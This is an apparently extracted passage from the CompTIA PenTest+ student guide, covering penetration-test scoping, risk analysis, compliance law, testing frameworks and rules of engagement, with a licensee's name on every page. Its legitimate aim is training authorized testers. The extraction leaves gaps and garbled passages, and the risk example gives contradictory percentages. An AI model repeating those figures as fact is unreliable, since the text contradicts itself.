Downloadable Official CompTIA PenTest+ Student Guide
Downloadable Official CompTIA PenTest+ Student Guide
CompTIA
PenTest+
Student Guide
(Exam PT0-002)
Course Edition: 1.0
Acknowledgments
Co-authors:
Henry Flefel, NC-Expert
Phil Morgan, NC-Expert
Rie Vainstein, NC-Expert
Notices
Disclaimer
While CompTIA, Inc. takes care to ensure the accuracy and quality of these materials, we cannot guarantee their accuracy,
and all materials are provided without any warranty whatsoever, including, but not limited to, the implied warranties of
merchantability or fitness for a particular purpose. The use of screenshots, photographs of another entity's products, or
another entity's product name or service in this book is for editorial purposes only. No such use should be construed to imply
sponsorship or endorsement of the book by nor any affiliation of such entity with CompTIA. This courseware may contain
links to sites on the internet that are owned and operated by third parties (the “External Sites”). CompTIA is not responsible for
the availability of, or the content located on or through, any External Site. Please contact CompTIA if you have any concerns
regarding such links or External Sites.
Trademark Notice
CompTIA®, PenTest+®, and the CompTIA logo are registered trademarks of CompTIA, Inc., in the U.S. and other countries.
All other product and service names used may be common law or registered trademarks of their respective proprietors.
Copyright Notice
Copyright © 2021 CompTIA, Inc. All rights reserved. Screenshots used for illustrative purposes are the property of the software
proprietor. Except as permitted under the Copyright Act of 1976, no part of this publication may be reproduced or distributed
in any form or by any means, or stored in a database or retrieval system, without the prior written permission of CompTIA,
3500 Lacey Road, Suite 100, Downers Grove, IL 60515-5439.
This book conveys no rights in the software or other products about which it was written; all use or licensing of such software
or other products is the responsibility of the user according to terms and conditions of the owner. If you believe that this
book, related materials, or any other CompTIA materials are being reproduced or transmitted without permission, please
call 1-866-835-8020 or visit https://help.comptia.org.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Table of Contents | iii
Table of Contents
Table of Contents
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
iv | Table of Contents
Table of Contents
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Table of Contents | v
Table of Contents
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
vi | Table of Contents
Solutions......................................................................................................................... S-1
Glossary...........................................................................................................................G-1
Table of Contents
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
1
About This Course
CompTIA is a not-for-profit trade association with the purpose of advancing the
interests of IT professionals and IT channel organizations; its industry-leading
IT certifications are an important part of that mission. CompTIA’s PenTest+
Certification is an intermediate-level certification designed for professionals with
three to four years of hands-on experience working in a security consultant or
penetration tester job role.
This exam will certify the successful candidate has the knowledge and skills
required to plan and scope a penetration testing engagement, understand legal
and compliance requirements, perform vulnerability scanning and penetration
testing using appropriate tools and techniques, and then analyze the results
and produce written reports containing proposed remediation techniques,
effectively communicate results to the management team, and provide practical
recommendations.
CompTIA PenTest+ Exam Objectives
Course Description
Course Objectives
This course can benefit you in two ways. If you intend to pass the CompTIA
PenTest+ (Exam PT0-002) certification examination, this course can be a significant
part of your preparation. But certification is not the only key to professional success
in the field of server management. Today’s job market demands individuals have
demonstrable skills, and the information and activities in this course can help you
build your penetration testing skill set so that you can confidently perform your
duties in a security consultant or penetration tester job role.
On course completion, you will be able to:
• Scope organizational/customer requirements.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
viii | Preface
• Recommend remediation.
Target Student
The Official CompTIA PenTest+ Guide (Exam PT0-002) is the primary course you will
need to take if your job responsibilities include planning and scoping, information
gathering and vulnerability scanning, attacks and exploits, reporting and
communication, and tools and code analysis. You can take this course to prepare
for the CompTIA PenTest+ (Exam PT0-002) certification examination.
Prerequisites
To ensure your success in this course, you should have basic IT skills comprising
three to four years of hands-on experience working in a performing penetration
tests, vulnerability assessments, and code analysis. CompTIA Network+ certification,
Security+ certification, or the equivalent knowledge is strongly recommended.
The prerequisites for this course might differ significantly from the prerequisites for
the CompTIA certification exams. For the most up-to-date information about the exam
prerequisites, complete the form on this page: www.comptia.org/training/resources/
exam-objectives.
As You Learn
At the top level, this course is divided into lessons, each representing an area of
competency within the target job roles. Each lesson is composed of a number of
topics. A topic contains subjects that are related to a discrete job task, mapped
to objectives and content examples in the CompTIA exam objectives document.
Rather than follow the exam domains and objectives sequence, lessons and topics
are arranged in order of increasing proficiency. Each topic is intended to be studied
within a short period (typically 30 minutes at most). Each topic is concluded by one
or more activities, designed to help you to apply your understanding of the study
notes to practical scenarios and tasks.
Additional to the study content in the lessons, there is a glossary of the terms and
concepts used throughout the course. There is also an index to assist in locating
particular terminology, concepts, technologies, and tasks within the lesson and
topic content.
In many electronic versions of the book, you can click links on key words in the topic
content to move to the associated glossary definition and on page references in the
index to move to that term in the content. To return to the previous location in the
document after clicking a link, use the appropriate functionality in your eBook viewing
software.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Preface | ix
As You Review
Any method of instruction is only as effective as the time and effort you, the
student, are willing to invest in it. In addition, some of the information that you
learn in class may not be important to you immediately, but it may become
important later. For this reason, we encourage you to spend some time reviewing
the content of the course after your time in the classroom.
Following the lesson content, you will find a table mapping the lessons and topics to the
exam domains, objectives, and content examples. You can use this as a checklist as you
prepare to take the exam, and review any content that you are uncertain about.
As a Reference
The organization and layout of this book make it an easy-to-use resource for future
reference. Guidelines can be used during class and as after-class references when
you're back on the job and need to refresh your understanding. Taking advantage
of the glossary, index, and table of contents, you can use this book as a first source
of definitions, background information, and summaries.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 1
Scoping Organizational/Customer
Requirements
1
LESSON INTRODUCTION
Penetration testing is a proactive exercise that tests the strength of an
organization’s security defenses. While there are many reasons why an organization
might conduct a Penetration Test (PenTest), many times it is to provide due
diligence and due care in meeting compliance requirements. Prior to beginning
a PenTest exercise, you will need to devise a structured plan and outline the
terms. Once you step into an organization to conduct the PenTest, it is essential
that you and your team maintain a professional attitude at all times. In addition,
if during testing your team discovers possible indications of an ongoing or
previous compromise, you must immediately report the details to the appropriate
stakeholder.
Lesson Objectives
In this lesson, you will:
• Define organizational Penetration Testing and recognize the CompTIA structured
PenTesting process
• Acknowledge compliance requirements such as PCI DSS along with GDPR, that
drive the need to assess the security posture
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
2 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 1A
Define Organizational PenTesting
2
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 3
All controls should use the Principle of Least Privilege, which states that an object
should only be allocated the minimum necessary rights, privileges, or information in
order to perform its role.
However, even with all of the security controls in place, the only way you will know
if the network can withstand a cyber event is by actively simulating attacks. This is
achieved by completing a structured PenTest.
It’s important to note that a vulnerability scan and PenTest represent two different
concepts. A vulnerability scan will scan computer systems, networks and applications
for vulnerabilities or system weaknesses. A penetration test will use a vulnerability
scan, however, will take the process further by attempting to actively exploit system
vulnerabilities. Once complete, the results are documented in a report format and
presented to the stakeholders.
Determining Risk
We can break down this concept by outlining the elements that comprise risk:
• A threat represents something such as malware or a natural disaster, that can
accidentally or intentionally exploit a vulnerability and cause undesirable results.
To put this into perspective of how threats and vulnerabilities work together to
reflect a risk level, let’s complete a risk analysis.
Analyzing Risk
A risk analysis is a security process used to assess risk damages that can affect
an organization. To illustrate this concept, we’ll see how using different levels of
antimalware protection on a system will alter the risk:
• One system will be protected using a free antivirus with no automatic updates
• One system will be protected using a paid antivirus with automatic updates
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
4 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
In each case, there is a 100% chance that malware will be a threat. Knowing this let’s
build our matrix. Within the matrix, I assigned each of the systems a vulnerability
rating as to how easily malware will infect the system. Then using the formula
Risk = Threats × Vulnerabilities, we’ll be able to calculate the level of risk.
Calculating Risk
In this case, the system using the free antivirus was the most vulnerable, and the
risk of infection was 90% vulnerable. The system using free antivirus had a 40% risk
of being infected. However, the system using UTM was minimally vulnerable, and
therefore had a 10% risk rating.
In general, threats to our systems and well-being exist, however, we cannot control
the threats. What we can do is minimize or control the vulnerabilities. If we reduce
the vulnerabilities, we will reduce overall risk. Therefore, identifying and mitigating
vulnerabilities as early as possible will reduce overall risk.
Risk analysis is part of a larger process called risk management, which is
the cyclical process of identifying, assessing, analyzing, and responding to
risks. PenTesting is a key component in managing risk. While an organization has
a choice as to how they conduct a PenTesting exercise, one method is to use a
structured approach, which provides consistency, as we’ll see next.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 5
When comparing the steps to exam objectives, you’ll note that the Tools and Code
Analysis domain is not listed. However, we will cover the tools used during the
appropriate stage of the PenTest process.
Each of the main steps of the structured PenTesting process is broken down into
more detailed steps as follows:
1. Planning and scoping is when the team meets with the stakeholders to
outline a plan for the PenTest. Some of the information obtained includes the
rules of engagement, budget, technical constraints along with the types of
assessments, and selection of targets.
4. Gaining access occurs after the team has gathered information on the
network. In this phase, the team will attempt to gain access to the system,
with the goal of seeing how deep into the network they can travel. Then once
in, the team will attempt to access protected resources.
5. Maintaining access once the team is in the system the goal is to maintain
access undetected for as long as possible
6. Covering tracks removes any evidence that the team was in the system,
including executable files, rootkits, logs, and any user accounts that were used
during the exercise.
7. Analysis occurs after the team has completed the exercise, and will go
through the results of all activities, analyze the findings, and derive a summary
of their risk rating.
8. Reporting will deliver the results and any remediation suggestions to the
stakeholders, along with a realistic timeline of reducing risk and implementing
corrective actions.
Throughout the entire process, the team will constantly communicate with the
stakeholders of any irregularities such as an indication of a possible breach.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
6 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
What’s important to note is that the same main process is used by the threat actor,
as shown in the graphic:
PenTesting Process
The threat actor has a main goal of altering the integrity of the system and/or
causing harm, and are sometimes called an unauthorized hacker, which is a
hacker operating with malicious intent.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 7
Review Activity:
Organizational PenTesting
3
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
8 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 1B
Acknowledge Compliance
Requirements
5
The attack vectors and threats to credit card data can be vast. To address this, PCI
DSS standards provide granular details on methods to secure data. Within the
framework, there are six categories that describe what is required. The categories
list a specific goal, and then define the requirement. To summarize, an organization
must do the following in order to protect cardholder data:
• Create and maintain a secure infrastructure by using dedicated appliances and
software, that monitor and prevent attacks.
• Employ good practice strategies, such as changing passwords from the vendor
default, and training users not to open suspicious emails.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 9
• Provide strong access control methods by using the principle of least privilege,
and routinely monitor and test networks.
The activity required for each level to prove compliance with the guidelines, is as
follows:
Level 1—must have an external auditor perform the assessment by an approved
Qualified Security Assessor (QSA).
Levels 1 and 2 must complete a RoC.
Levels 2–4—can either have an external auditor or submit a self-test that proves
they are taking active steps to secure the infrastructure.
In addition to PCI DSS, there are several laws in the United States and the European
Union (EU) that deal with the protection of consumer data. One such law is GDPR,
which has a global reach.
Dissecting GDPR
In 2018 the EU enacted the General Data Protection Regulation (GDPR), which
outlines specific requirements on how consumer data is protected. The law affects
anyone who does business with residents of the EU and Britain. This comprehensive
law focuses on the privacy of consumer data and, more importantly, gives
consumers the ability to control how their data is handled.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
10 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
• Rescind consent—just as the consumer can give consent for a company to use
their information, they can opt out at any time. Known as the right to be forgotten
rule, this puts control back in the hands of the consumer.
• Global reach—the GDPR affects anyone who does business with residents of
the EU and Britain. The statute relates to e-commerce, as websites do not have a
physical boundary. If you do business with anyone in the EU and Britain, this rule
will prevail.
The GDPR clearly outlines that consumer data must be protected. Within the
document, found at https://gdpr.eu/, you will find a checklist that outlines
the requirements for regularly testing the strength of the infrastructure for
vulnerabilities, with the goal of preventing a data breach. Any company with
over 250 employees will need to audit their systems and take rigorous steps to
protect any data that is processed within their systems, either locally managed
or in the cloud.
In addition to PCI DSS and GDPR, there are many other laws that govern the
protection of data. Let’s review a few of these that might impact a PenTest.
• The California Consumer Privacy Act (CCPA) was enacted in 2020 and
outlines specific guidelines on how to appropriately handle consumer data.
To ensure that customer data is adequately protected, vendors should include
PenTesting of all web applications, internal systems along with social engineering
assessments.
• The Health Insurance Portability and Accountability Act (HIPAA) is a law the
mandates rigorous requirements for anyone that deals with patient information.
Computerized electronic patient records are referred to as electronic protected
health information (e-PHI). With HIPAA, the e-PHI of any patient must be
protected from exposure, or the organization can face a hefty fine.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 11
Review Activity:
Compliance Requirements
6
3. With PCI DSS, a Level 1 merchant must have an external auditor perform
the assessment by an approved _____.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
12 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 1C
Compare Standards and
Methodologies
6
In addition to the laws that govern the need to protect data, there are also guidelines
that help security professionals effectively manage and protect their information
and infrastructure. In this section, we’ll cover organizations that provide guidance
and frameworks for PenTesting, such as the National Institute of Standards and
Technology (NIST). In addition, we’ll also cover methods that help outline best practices,
such as the Open-Source Security Testing Methodology Manual (OSSTMM) and the
Penetration Testing Execution Standard (PTES).
In addition, because one of the key components of PenTesting is identifying
vulnerabilities, we’ll review the Common Vulnerabilities and Exposures (CVE), along
with the Common Weakness Enumeration (CWE).
Let’s start with an overview of some of the PenTesting frameworks available today.
A company might need some assistance either in getting started in the process, or
guidance on how to conduct an effective PenTesting exercise. The good news is that
there are plenty of resources available, such as the United States (U.S.) National
Institute of Standards and Technology (NIST), and Open Web Application Security
Project (OWASP).
Let’s discuss some of the resources, starting with OWASP.
Understanding OWASP
The Open Web Application Security Project (OWASP) is an organization aimed
at increasing awareness of web security and provides a framework for testing during
each phase of the software development process. Once on the site, you’ll find
open-source tools and testing guidelines such as a list of Top 10 vulnerabilities.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 13
In addition, you’ll find the OWASP Testing Guide (OTG). The OTG steps through the
testing process and outlines the importance of assessing the whole organization, that
includes the people, processes, and technology, with a focus on web applications. You
can learn more at www.owasp.org.
Next, let’s take a look at NIST, an organization that develops computer security
standards used by U.S. federal agencies and publishes cybersecurity best practice
guides and research.
Exploring OSSTMM
It’s a well-known fact many of us work well by following a framework. OSSTMM
provides a holistic structured approach to PenTesting. Written in 2000, the open-
source document stresses auditing, validation, and verification. While OSSTMM
doesn’t provide the tools needed to accomplish a complete PenTesting exercise, it
does cover other areas, such as Human Security and Physical Security testing.
Version 3 (v3) is freely available, however access to the latest version will require
a paid membership to The Institute for Security and Open Methodologies
(ISECOM). Even still, it’s worth exploring the site, as they have other cyber security
resources that include:
• Hacker Highschool—provides security awareness to teens
Providing Guidance
Over the years, several organizations have invested a great deal of time and
resources in developing structured guidelines and best practices to accomplish a
PenTesting exercise. In this section, we’ll evaluate the Information Systems Security
Assessment Framework (ISSAF), the Penetration Testing Execution Standard, along
with MITRE ATT&CK.
Let’s start with the ISSAF, an open-source resource available to cybersecurity
professionals.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
14 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Examining ISSAF
If you do a keyword search for ISSAF, you will find a few locations where you can
obtain the components of the framework. Once you download and unpack the
ISSAFv1, Roshal Archive (rar) Compressed file, you will be able to view the contents,
as shown in the screenshot:
ISSAF Documentation
Once in the folder, you will find a list of 14 documents that relate to PenTesting,
such as guidelines on business continuity and disaster recovery along with legal and
regulatory compliance. Although the ISSAF was created in 2005, there are plenty of
valuable resources related to PenTesting . In addition, there is a knowledge base
that includes a Security Assessment Contract, Request for Proposal and Reporting
templates.
The Penetration Testing Execution Standard (PTES) was developed by business
professionals as a best practice guide to PenTesting.
• Threat modeling
• Vulnerability analysis
• Exploitation
• Reporting
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 15
The PTES approaches the standard business aspect in that it doesn’t have technical
guidelines specifically addressed in the document. It does, however, have a
separate document that provides technical guidelines, along with a list of tools used
in the PenTesting process. For more information, visit: www.pentest-standard.org.
Another powerful site that provides a great deal of research is MITRE ATT&CK,
which conducts vulnerability research, and then shares the research with the
general public and coordinating agencies.
• Browser extensions
• Forced authentication
While the matrix and details provided in each section are valuable, MITRE is also
actively involved with providing key information on vulnerabilities and weaknesses
within software. Next, let’s see what’s available in these areas.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
16 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
It’s important to note that vulnerability scores will change over time.
The information from the CVSS is then fed into the Common Vulnerabilities and
Exposures (CVE).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 17
Review Activity:
Standards and Methodologies
7
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
18 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 1D
Describe Ways to Maintain
Professionalism
6
Prior to assembling the PenTesting team, the ground rules are laid out so that
everyone understands the need to provide rigorous controls, prior to, during, and
after the PenTest exercise. To reassure the client, the team may be asked to provide
credentials and evidence that the team has an excellent reputation for respecting
the safety of the customers’ personal data. Other related activities can include
presenting background checks and credentials of the team members. In addition,
prior to beginning the PenTest, the team should receive training on how to identify
criminal behavior along with the procedure for reporting breaches or evidence of
criminal activity.
Let’s start with providing background checks of the team members.
• Produce recent background checks, that can include credit scores and driving
records. Make sure no one has a criminal record or felony conviction.
Even if someone has a Top Secret clearance from the military, you’ll want to provide
recent information to reassure the client.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 19
Maintaining Confidentiality
Throughout the course of the PenTest process, the team may expose sensitive
information or discover system vulnerabilities. As a result, everyone on the PenTest
team must agree to conform to the policy on handling proprietary and sensitive
information.
For example, if a team member finds a major vulnerability in the company’s
public-facing website, the organization may require them to keep this information
confidential to minimize risk. The requirements might also set restrictions that state
only privileged personnel, such as IT managers only, and not standard employees,
should be informed of any issues.
During the planning meeting, the team should explicitly state that the testers will
protect information they discover during testing, and not disclose confidential
information to any other parties. In some cases, the team may need to supply
legal documentation that includes confidentiality provisions. In addition, because
of the sensitive nature of the PenTest reports, they should be protected by using
encryption, and password protected when in storage.
Along with ensuring confidentiality, the team must be aware of any legal issues that
might impact the testing process.
Avoiding Prosecution
Formalized PenTesting goes through a process of assessing the cyberhealth and
resiliency of an organization. However, prior to beginning any testing, the team
should carefully outline the terms of the contract and be aware of all possible legal
considerations that might be applicable.
The team must keep in mind there can be risks to the professional, by inadvertently
performing an illegal activity.
If any member of the team is apprehended and found guilty of an illegal act, they
can face serious consequences. Let’s see just what’s at stake.
Even though a PenTest is performed with the mutual consent of the customer, the
team may inadvertently violate a local, state, or regional law. This could result in
criminal charges, along with significant fines.
Prior to testing, the team should carefully question the stakeholders as to any
possible legal ramifications. In addition, the team should independently research
any regulations that will prevent certain types of testing.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
20 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
7
Professionalism
Answer the following questions:
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 21
Lesson 1
Summary
4
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 2
Defining the Rules of Engagement
1
LESSON INTRODUCTION
A structured PenTest will help ensure the organization has enacted best practices
for handling customer data. The team needs to be aware of any environmental and
location restrictions that will govern their behavior during the exercise. In addition,
you’ll need to obtain a target list of in-scope assets. During the assessment, the
team may be asked to conduct additional tests. However, it’s essential that the
team is aware of the consequences of testing beyond the defined scope. Once
you have gathered all relevant information, you’ll need to validate the scope of
engagement so that all parties agree on the terms. Finally, prior to beginning the
PenTest, the team must prepare several legal documents that outline the scope and
terms of the project.
Lesson Objectives
In this lesson, you will:
• Recognize environmental considerations as to resources in the network,
applications in the cloud, along with location restrictions that may impact testing.
• Define and validate the rules of engagement for safely conducting the
Penetration Testing exercise within an organization.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
24 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 2A
Assess Environmental Considerations
2
Prior to beginning the PenTest, the team needs to have a clear definition of several
aspects of the environment they will be testing. In this section, we’ll review the
importance of defining the project scope, which can include on-site networks,
specific applications, or resources in the cloud. The team will also need to define in-
scope assets such as IP address ranges, application programming interfaces (APIs),
and whether the assets are first-party or third-party hosted. In addition, because of
the complexities of specific laws, the team needs to be aware of their location along
with any restrictions that might apply.
Let’s start with outlining the project scope.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 25
Mobile applications also can be targets, as they are house sensitive data such as
credit card numbers. In addition, they have many vulnerabilities such as insecure
communications and weak cryptography and represent an additional attack vector.
As a result, the team may also be tasked to test mobile apps as part of the
scope. When deriving the scope for mobile apps, the team should gather
information on which applications to test, platform specifications, and possibly
specific scenarios.
Network boundaries have blurred, and many companies are using cloud resources,
such as: Software as a Service (SaaS), Infrastructure as a Service (IaaS), or
Platform as a Service (PaaS). Next let’s see why it may be a part of the project
scope to assess cloud resources.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
26 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The team will also want to recognize the physical locations that are to be considered
an in-scope asset, and whether it is on-site or off-site.
Physical Locations
Location Description
On-site An asset that is physically located where an
attack is being carried out. On-site testing can
include attempting to compromise a business’s
physical barriers to gain access to systems,
server rooms, infrastructure, and employees.
Off-site An asset that provides a service for a com-
pany but is not necessarily located at the same
place, such as remote offices and/or satellite
locations. These locations can be a softer target
as they are less likely to have as many security
controls as headquarters.
Comparing on-site and off-site assets
Another consideration is whether the team will test external or internal assets
as follows:
• External assets are visible on the Internet, such as a website, web application,
email, or DNS server. An external asset is not a good candidate for attacks that
require direct access to the network segment, such as sniffing or ARP poisoning.
• Internal assets can be accessed from within the organization. Access to these
resources can be achieved by the efforts of either a malicious insider or an
external hacker who has gained credentials through a phishing attack. If direct
access to the internal network can be established, this asset is an excellent
candidate for all attack types.
The team will also need to define how the assets are hosted.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 27
Once the team has identified the scope and the assets that are to be tested,
they must also review with the stakeholders any restrictions that will influence
their testing.
Identifying Restrictions
When conducting PenTesting, the team must recognize there may be restrictions on
what they can test, and methods used to achieve their goal. Restrictions can include
laws and privacy requirements that can influence the process. Once the restrictions
are identified, the team will need to monitor all activity to ensure compliance.
First let’s review how country, state, and local laws can impact testing.
• Techniques that are part of the process of exploiting computer systems, such as
port scanning, may be in violation of a law.
In addition, many companies and organizations now have specific policies that
regulate PenTesting activities. As a result, the team will need to be aware of any
particular restrictions adopted by the company or organization that is undergoing
PenTesting.
When dealing with laws that affect the PenTesting process, the team also has to
recognize restrictions on the use of specific tools.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
28 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Environmental Considerations
3
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 29
Topic 2B
Outline the Rules of Engagement
4
During the kick-off meeting, the team will learn essential information that will
allow them to safely conduct the PenTest. Part of this process is outlining the
rules of engagement. In this section, we’ll define the rules which describe client
expectations, along with the details of what type of testing will be done by the team.
We’ll also discuss ways to select the type and strategy used during testing and then
summarize by stressing the importance of validating the scope of the engagement.
To begin, we’ll see how as part of defining the rules of engagement, the
organization should provide several details that might influence the testing process.
• Is the PenTesting team willing to communicate with the Internet Service Provider
(ISP) about the large number of external scans they might do during testing?
When sitting down with the stakeholders, the team should ask open-ended
questions that will remove any ambiguity as to the mode and methods used to test
the systems. No detail is too small. Some information is more critical. For example,
the stakeholders might share that they had had a breach in the past, or they feel
there may be an advanced persistent threat (APT) within the network.
The team will need to assess other related details, such as an approved timeline,
and any restrictions that will influence the testing process.
Let’s start with the importance of a timeline.
Adhering to a Timeline
A timeline represents a series of events that transpire within a discrete period
of time. When defining a timeline for a PenTest, this will outline the specific
parameters along with an estimation of time needed to complete all testing that is
included in the contract.
So that the organization understands the procedure for PenTesting, it’s best to sit
down with the stakeholders and outline how the team will proceed with the test.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
30 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
When scheduling, the team will explain to the stakeholders how testing during
normal business hours will help assess the organization’s reaction to attacks.
However, there may also be time of day restrictions when no testing is allowed, as it
may impact potential services and cause an outage.
After discussing the timeline restrictions, they may be defined in the contract as
follows:
Testing for 515web.net will be conducted from 8:00 A.M. to 6:00 P.M. U.S. Eastern
Time, Monday through Friday unless otherwise stated within the individual test plan.
The team should discuss the general methodology and realistic estimation of time
needed for each of the tasks that need to be conducted. In addition, the timeline
should indicate the individuals or teams responsible for performing those tasks.
Once complete, the team will share the timeline with the stakeholders and adjust as
needed during testing for any unexpected events.
Professional PenTesters are expected to know how to conduct tests in a quick
and efficient way. Using good time management skills will increase the team’s
productivity and efficiency.
The goal is to build a long-lasting relationship with the client. Because of this, the team
should conduct themselves in a professional manner. Some suggestions include:
• Focus on the task at hand
• Avoid distractions
Each team member should know when to ask for help, and not spend hours on a
single task that should only take 45 minutes.
In addition to time, there may be other restrictions that will affect the testing process.
• Adhering to the scope—The legal documents will define what locations, systems,
applications, or other potential targets are to be included or excluded. There may
be an instance while testing when someone asks someone on the team if they
could test another subnetwork. The team member should explain that if the test is
not specifically in the scope, they cannot do the test due to legal reasons.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 31
• Limit the use of tools to a particular engagement—In some cases, the use of
tools is defined by some governing body that outlines specifically what the team
is to use when conducting the test. In that case, the team will be presented with
a list of tools that can be used for a particular engagement.
The team should address any other variables that will impact testing. For example,
if there is an installation in a different country that needs to be included in the test,
is there technology available to access the remote location? If an on-site visit is
required, the parties should agree to the amount of travel needed to conduct the
PenTest at the remote location.
Sample documentation defines acceptable tools is as follows:
The following list includes all 515support.com approved vulnerability assessment,
penetration testing and network monitoring tools that are either commercial,
noncommercial, or custom built. If additional tools are needed for a specific test, the
team must submit a rationale for using the tool, along with a request for approval.
Approval must be granted prior to using the tool on the production network.
In most cases, everyone will have thought out all possible variables. However, in
some cases, once testing begins, the stakeholders may need to identify either a
prohibited system, specific time of day, or IP address range that is to be excluded
from testing. If that happens, the stakeholders will need to notify the team and
request a change to the terms of the contract.
At some point, the team will need to plan a strategy for conducting the PenTest. The
strategy will include the rational for the test, and whether they will operate in a
known or unknown environment during testing.
With this type of assessment, the goal is to see if your (red) team is able to
circumvent security controls. In addition, it is a good way to determine how
the security (blue) team will respond to the attack.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
32 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
In addition to determining the type of assessment the team will need to complete,
they will also need to determine the strategy, as to the amount of information the
team is given prior to the assessment.
Selecting a Strategy
When the team meets with the stakeholders, they will determine the type of
strategy they will take, along with how much information they are given prior to
conducting the PenTest. The three common strategies are outlined as follows:
• Unknown environment testing is when the PenTesting team is completely
in the dark; no information is presented to the team prior to testing. This type
of assessment will mimic what an actual threat actor will need to do before
launching any attacks. The team will need to scan available network resources
and identify live hosts, listening ports, and running services prior to exploiting
any assets.
• Known environment testing is when the PenTesting team is given all details of the
network and applications. The test is commonly done with the perspective of the
user. Because all of the details are transparent, the team can focus on the test.
Defining the rules of engagement sets the tone for the entire assessment. Although
the details can be complex, and at times overwhelming, a properly run PenTest
will help reduce risk, strengthen an organizations security posture, and ensure
compliance with regulations.
Once the team outlines the specifics of the test, the next step is to confirm the
details of the scope of the engagement.
• What is excluded
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 33
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
34 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
The Rules of Engagement
5
